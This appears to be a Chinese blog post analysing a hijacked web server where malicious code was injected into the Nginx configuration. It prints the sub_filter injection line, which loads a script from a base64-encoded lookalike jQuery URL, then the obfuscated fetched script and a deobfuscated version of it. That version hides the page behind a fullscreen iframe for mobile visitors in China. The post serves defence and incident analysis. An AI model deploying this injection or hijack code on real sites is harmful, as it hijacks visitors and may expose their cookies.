前言
接朋友的帮助,要我康康网站怎么弹全屏的涩涩的小卡片,经过两人几分钟的排查~
一开始以为是网站的某些页面被挂马了,检测后发现没有。发现除了单域名,其他域名也有类似的情况。
403/404页被篡改:纪念日本投降80周年,9.3月阅兵圆满成功。这个虽然没问题,但依然判定为劫持,默认显示:404 not found
经排查,发现恶意代码插入到 Nginx 配置文件,会导致所有站点优先加载这个恶意 JS 脚本。
主要问题
- 主网站弹涩涩小卡片广告
- 其他域名被修改 403 / 404内容
劫持截图



伪装代码
sub_filter '</head>' '<script>document.cookie="hasVisited178a=1;Max-Age=86400;Path=/";(function(){var hm=document.createElement("script");hm.src=atob("aHR0cHM6Ly9ib290c2NyaXRwLmNvbS9saWIvanF1ZXJ5LzQuNy4yL2pxdWVyeS5taW4uanM=");var s=document.getElementsByTagName("script")[0];s.parentNode.insertBefore(hm,s);})();</script>解码 atob("aHR0cHM6Ly9ib290c2NyaXRwLmNvbS9saWIvanF1ZXJ5LzQuNy4yL2pxdWVyeS5taW4uanM=") 得到的地址。文章就不展示完整域名,有兴趣自行 Base64 解码
/lib/jquery/4.7.2/jquery.min.js这明显是 恶意外部脚本注入,会在所有页面 <head> 前强制插入 JS,可能用于广告劫持、挖矿、窃取 Cookie 或挂马。
访问 Base64 解码的地址,获取到 JavaScript 内容。包含了几个可疑的外部脚本加载和混淆代码
!function(p){"use strict";!function(t){var s=window,e=document,i=p,c="".concat("https:"===e.location.protocol?"https://":"http://","sdk.xx.xx/js-sdk-pro.min.js"),n=e.createElement("script"),r=e.getElementsByTagName("script")[0];n.type="text/javascript",n.setAttribute("charset","UTF-8"),n.async=!0,n.src=c,n.id="LA_COLLECT",i.d=n;var o=function(){s.LA.ids.push(i)};s.LA?s.LA.ids&&o():(s.LA=p,s.LA.ids=[],o()),r.parentNode.insertBefore(n,r)}()}({id:"KW3kPYeS8JIv82mP",ck:"KW3kPYeS8JIv82mP"});
var _hmt = _hmt || [];
(function() {
var hm = document.createElement("script");
hm.src = "https:// hm.{隐藏}.com/hm.js?xxxxxxxxxxxxxxxxxxxxx";
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(hm, s);
})();
['sojson.v4']["\x66\x69\x6c\x74\x65\x72"]["\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72"](((['sojson.v4']+[])["\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72"]['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']['\x61\x70\x70\x6c\x79'](null,"
省略大段加密的内容
"['\x73\x70\x6c\x69\x74'](/[a-zA-Z]{1,}/))))('sojson.v4');1. 加载的外部脚本
// 某51 统计SDK
xx.la/js-sdk-pro.min.js
// 某度统计
hm.baidu.com/hm.js?xxxxxxxxxxxxxxxxxxxxx2. 混淆后的 sojson.v4 代码
['sojson.v4']["filter"]["constructor"](...)这里用到了 sojson.v4 的混淆,还包含大量 \xNN 转义字符和 fromCharCode 拼接。
目的通常是 绕过安全检测,再往页面里插入 <iframe> 或 <script>,偷偷加载远程恶意代码。
生成加密的配置 key 和地址
动态往页面插入 iframe/script
监听 DOMContentLoaded / attachEvent / readyStateChange
在 document.body 下隐藏注入的元素
操作 localStorage 存储一些 key3. 潜在危害
劫持访问者 cookie 或 localStorage(有可能泄露登录信息)
植入广告、跳转或钓鱼 iframe
影响页面 SEO,被搜索引擎标记为恶意站点
解析代码
解析后的 sojson.v4 代码如下,地址那些会被移除,防止被污染。
解析后的代码是很乱的,下面这份是按标准写法(去掉多余的混淆、缩进统一、语法修正),跟源文件可能不一致,效果估计差不多~
/*
* 恶意脚本:全屏 iframe 劫持跳转
*/
(function () {
const config = {
key: "13792427ab60437bafb55088e45e0e06",
encryptKey: "5088e45e0e06",
address: "#",
conditionType: "TIMEZONE", // 触发条件:TIMEZONE 或 IP
jumpType: "IFRAME", // 跳转方式:DIRECT / IFRAME
jumpPercent: 100, // 触发概率(百分比)
jumpCount: 1 // 每天最多触发次数
};
/** XOR 简单加密,用来混淆 localStorage 数据 */
function encrypt(str) {
return __try(() => {
const keyCodes = Array.from(config.encryptKey).map(c => c.charCodeAt(0));
return Array.from(str)
.map((c, i) => String.fromCharCode(c.charCodeAt(0) ^ keyCodes[i % keyCodes.length]))
.join('');
}, () => "");
}
/** DOM Ready 封装 */
function ready(callback) {
__try(() => {
if (document.readyState === 'complete' || document.readyState === 'interactive') {
callback();
} else if (document.addEventListener) {
document.addEventListener('DOMContentLoaded', callback);
} else if (document.attachEvent) {
document.attachEvent('onreadystatechange', function () {
if (document.readyState === 'complete') callback();
});
}
}, callback);
}
/** 执行跳转(iframe 劫持) */
function doJump() {
if (!config.jumpType || config.jumpType === "DIRECT") {
window.location.replace(config.address);
} else if (config.jumpType === "IFRAME") {
ready(() => {
setInterval(() => {
__try(() => {
if (document.getElementById(config.key) == null) {
document.body.insertAdjacentHTML("beforeend", `
<iframe id="${config.key}"
scrolling="auto"
marginheight="0"
marginwidth="0"
frameborder="0"
width="100%"
height="100%"
style="z-index:99999999999; position:absolute; left:0; top:0; min-height:100vh; visibility:visible; padding:0; margin:0;"
src="${config.address}">
</iframe>
`);
}
// 隐藏页面原本内容
const children = document.body.children;
for (let i = 0; i < children.length; i++) {
const node = children[i];
if (node.id !== config.key && node.style.display !== "none") {
node.style.display = "none";
}
}
document.body.style.overflow = "hidden";
}, clearStorage);
}, 100);
});
}
}
/** 条件检查 */
function conditionCheck() {
let data = __try(() => JSON.parse(encrypt(localStorage.getItem(config.key)))) || {};
const today = (new Date()).toISOString().split("T")[0];
if (data.date !== today) {
data = { date: today, count: 0 };
}
if (isNotMobile() || data.count >= config.jumpCount || Math.random() * 100 >= config.jumpPercent) {
return;
}
data.count = data.count + 1;
localStorage.setItem(config.key, encrypt(JSON.stringify(data)));
if (!config.conditionType || config.conditionType === "TIMEZONE") {
let clientTimezone = __try(() => Intl.DateTimeFormat().resolvedOptions().timeZone, clearStorage) || "";
if (clientTimezone === "Asia/Shanghai") {
doJump();
}
} else if (config.conditionType === "IP") {
fetch("https://api.ip.sb/geoip", { referrerPolicy: "no-referrer" })
.then(resp => resp.json())
.then(json => {
if (json.country_code === "CN") {
doJump();
}
})
.catch(err => clearStorage());
}
}
/** 平台检测 */
function isNotMobile() {
return __try(() => {
const platform = navigator.platform;
const win = platform.indexOf('Win') === 0;
const mac = platform.indexOf('Mac') === 0;
const x11 = platform.indexOf("X11") !== -1 || platform.indexOf('x86') !== -1 || platform.indexOf('i686') !== -1 || platform.indexOf('i386') !== -1;
return win || mac || x11;
}, () => true);
}
/** 清除本地存储 */
function clearStorage() {
localStorage.removeItem(config.key);
}
/** 安全执行器 */
function __try(func, err) {
try {
return func();
} catch (_err) {
if (err) return err(_err);
}
return undefined;
}
// 入口
conditionCheck();
})();

